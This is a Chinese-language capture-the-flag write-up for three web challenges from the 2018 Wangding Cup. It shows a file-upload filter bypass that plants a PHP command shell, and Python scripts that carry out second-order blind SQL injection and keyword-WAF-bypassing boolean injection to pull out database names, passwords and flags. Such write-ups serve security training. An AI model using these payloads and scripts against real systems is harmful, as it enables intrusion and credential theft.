2018年网鼎杯第二场Web题解
wafUpload 源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php $sandbox = '/var/www/html/upload/' . md5("phpIsBest" . $_SERVER['REMOTE_ADDR']); @mkdir($sandbox); @chdir($sandbox); if (!empty($_FILES['file'])) { #mime check if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png', 'image/gif'])) { die('This type is not allowed!'); } #check filename $file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename']; if (!is_array($file)) { $file = explode('.', strtolower($file)); } $ext = end($file); if (!in_array($ext, ['jpg', 'png', 'gif'])) { die('This file is not allowed!'); } $filename = reset($file) . '.' . $file[count($file) - 1]; if (move_uploaded_file($_FILES['file']['tmp_name'], $sandbox . '/' . $filename)) { echo 'Success!'; echo 'filepath:' . $sandbox . '/' . $filename; } else { echo 'Failed!'; } } show_source(__file__); ?>
一道有过滤的文件上传题,首先过滤的是文件的类型,修改上传类型为[‘image/jpeg’, ‘image/png’, ‘image/gif’]数组中任一一个元素即可,接下来将数组$file的最后一个元素取出判断是否是[‘jpg’, ‘png’, ‘gif’]中的任一元素,如果不是则退出程序,最终上传的文件名为”数组$file的第一个元素.$file[count($file) - 1]”,我们知道如果是一个完整的数组,那么$file[count($file) - 1]一定是数组的最后一个元素,而上面又将最后一个元素规定为jpg或png或gif,而我们的目的是上传一个php文件,那么后缀名一定是要.php,那么我们就可以上传一个不完整的数组,例如
1 2 3 4 5 6 7 8 9 <?php $file = array (); $file[0 ] = 'demo.php' ; $file[10 ] = 'jpg' ; echo $file[count($file) - 1 ]; echo '<br>' ; $filename = reset($file) . '.' . $file[count($file) - 1 ]; echo $filename; ?>
这样就可以成功上传一个php文件,但是我们最终得到的文件名最后还有一个’.’,所以我们将$file[0]=demo.php/
这样最终得到demo.php/.
burp抓包修改
文件成功上传
访问url/upload/85ed06a27b8eb105c27cbc380822ede8/demo.php/.
抓包POST参数cmd任意执行命令
发现flag
读取
unfinished 首先来到的页面时login.php,没有其他提示,扫一下后台,发现register.php,
是一个注册页面,我们试着注册一个用户后登录,这里通过抓包发现注册成功后会返回302状态码重定向到login.php,否则返回200状态码回到register.php
我们可以发现,登录后又重定向到index.php,其中只有显示了用户名
有注册页面,有登录页面,很明显的存在sql查询,那么可以猜测注册页面的sql语句是
1 insert into tables values ('$email' ,'$username' ,'$password' )
如果执行成功,则注册成功,重定向到login.php,然后执行sql语句
1 insert into tables values ('$email' ,'$username' ,'$password' )
有查询结果则登录成功,返回查询结果的用户名信息
那么我们就可以推测这里存在二次注入,我们在register.php中的insert语句注入username,在index.php中显示注入的结果,这就是二次注入
接下来考虑insert注入
直接给出我的payload:
1 0'+ascii(substr((select database()) from 1 for 1))+'0
这样sql语句就变成了
1 insert into tables values ('$email' ,'0' +ascii (substr ((select database ()) from 1 for 1 ))+'0' ,'$password' )
本地数据库测试可行
那么接下来就是写脚本注入了
附上我的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 import requestsimport reregister_url = "http://7144aea59c434409842c039e28cd3bc31fcff0f7dcb04f5b.game.ichunqiu.com/register.php" login_url = "http://7144aea59c434409842c039e28cd3bc31fcff0f7dcb04f5b.game.ichunqiu.com/login.php" database = "" table_name = "" column_name = "" flag = "" for i in range(1 ,10 ): register_data = { 'email' :'test@test' + str(i), 'username' :"0'+ascii(substr((select database()) from %d for 1))+'0" %i, 'password' :123 } r = requests.post(url=register_url,data=register_data) login_data = { 'email' :'test@test' + str(i), 'password' :123 } r = requests.post(url=login_url,data=login_data) match = re.search(r'<span class="user-name">\s*(\d*)\s*</span>' ,r.text) asc = match.group(1 ) if asc == '0' : break database = database + chr(int(asc)) print('database:' ,database) ''' for i in range(1,20): register_data = { 'email':'test@test'+ str(i), 'username':"0'+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from %d for 1))+'0"%i, 'password':123 } r = requests.post(url=register_url,data=register_data) print(r.text) login_data = { 'email':'test@test'+ str(i), 'password':123 } r = requests.post(url=login_url,data=login_data) r.encoding = r.apparent_encoding print(r.text) match = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r.text) asc = match.group(1) if asc == '0': break table_name = table_name + chr(int(asc)) print('table_name:',table_name) ''' for i in range(1 ,100 ): register_data = { 'email' :'test@test' + str(i) + str(i), 'username' :"0'+ascii(substr((select * from flag) from %d for 1))+'0" %i, 'password' :123 } r = requests.post(url=register_url,data=register_data) login_data = { 'email' :'test@test' + str(i) + str(i), 'password' :123 } r = requests.post(url=login_url,data=login_data) match = re.search(r'<span class="user-name">\s*(\d*)\s*</span>' ,r.text) asc = match.group(1 ) if asc == '0' : break flag = flag + chr(int(asc)) print('flag:' ,flag)
这里实际测试获取表名,发现information被过滤了,flag表只能猜测得到
最后执行结果
sqlweb 题目首先给出了提示”admin拿不到flag”,题目是一个登陆页面,猜测存在sql注入
首先我们应该是要用admin来登录,先寻找注入点
抓包测试,服务器先检测输入的用户名是否存在,再检查密码是否正确
我们输入uname=admin&passwd=1&submit=login,提示password error
输入uname=admin’#&passwd=1&submit=login,提示password error
说明注入点可能在uname,被单引号包裹,那么我们可以根据提示password error 或者username error进行基于布尔的注入
输入uname=admin’ and 1=1#&passwd=1&submit=login,提示password error
提示waf:/sleep|benchmark|=|like|regexp|and||%|substr|union|\s+|group|floor|user|extractvalue|UpdateXml|ord|lpad|rpad|left|>|,|ascii/i !!! (trust me,no one can bypass it)
说明此处存在过滤关键字的waf,过滤了空格,用/**/替代,过滤了逗号,过滤了and,用&&替代,还过滤了等号,>,不等号也没办法用,这里可以用in语句来进行布尔注入的判断
过滤了substr,还有mid可以用,过滤了逗号,那么可以用mid( from 1 for 1)
那么我们可以构造payload
1 uname=admin'/**/&&/**/mid((select/**/database())/**/from/**/1/**/for/**/1)/**/in('t')#&passwd=1&submit=login
根据返回的username error或者password error判断,如果返回password error,说明判断语句正确,返回username error说明判断语句错误
这里发现响应头部字段存在提示
1 hint: <!--create table users ...id username passwd -->
告诉了我们表的结构
猜测flag在passwd,那么我们就注出passwd列下的数据,payload如下
1 uname=admin'/**/&&/**/mid((select/**/passwd/**/from/**/users)/**/from/**/1/**/for/**/1)/**/in('t')#&passwd=1&submit=login
但是发现这里还过滤了user,那么就去掉users
1 uname=admin'/**/&&/**/mid(passwd/**/from/**/1/**/for/**/1)/**/in('t')#&passwd=1&submit=login
为什么可以这样呢,经过测试发现如果sql语句的前面已经指定了表和用户名,那么passwd直接返回的是该表下用户名对应的密码,如下图所示
接下来就是写个脚本注入了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requestsurl = "http://8d1802ff177a4d569dafef8aac590cbde77f688da3624512.game.ichunqiu.com/sql.php" all_string = "{}-1234567890qwertyuiopasdfghjklzxcvbnm" passwd = "" f = 0 for i in range(1 ,100 ): for j in all_string: data = { 'uname' :"admin'/**/&&/**/mid(passwd/**/from/**/%d/**/for/**/1)/**/in('%s')#" %(i,j), 'passwd' :'1' , 'submit' :'login' } r = requests.post(url,data=data) if len(r.text) == 75 : passwd = passwd + j break elif len(r.text) == 77 and j == 'm' : f = 1 break if f == 1 : break print('passwd:' ,passwd)
运行结果passwd: admin123
登录admin用户,提示只有wuyanzu用户才能拿到flag
那么我们再爆wuyanzu的密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requestsurl = "http://8d1802ff177a4d569dafef8aac590cbde77f688da3624512.game.ichunqiu.com/sql.php" all_string = "{}-1234567890qwertyuiopasdfghjklzxcvbnm" passwd = "" f = 0 for i in range(1 ,100 ): for j in all_string: data = { 'uname' :"wuyanzu'/**/&&/**/mid(passwd/**/from/**/%d/**/for/**/1)/**/in('%s')#" %(i,j), 'passwd' :'1' , 'submit' :'login' } r = requests.post(url,data=data) if len(r.text) == 75 : passwd = passwd + j break elif len(r.text) == 77 and j == 'm' : f = 1 break if f == 1 : break print('passwd:' ,passwd)
执行结果passwd: flag{de822b90-2edf-404c-aaeb-8e797768d9ea}
拿到flag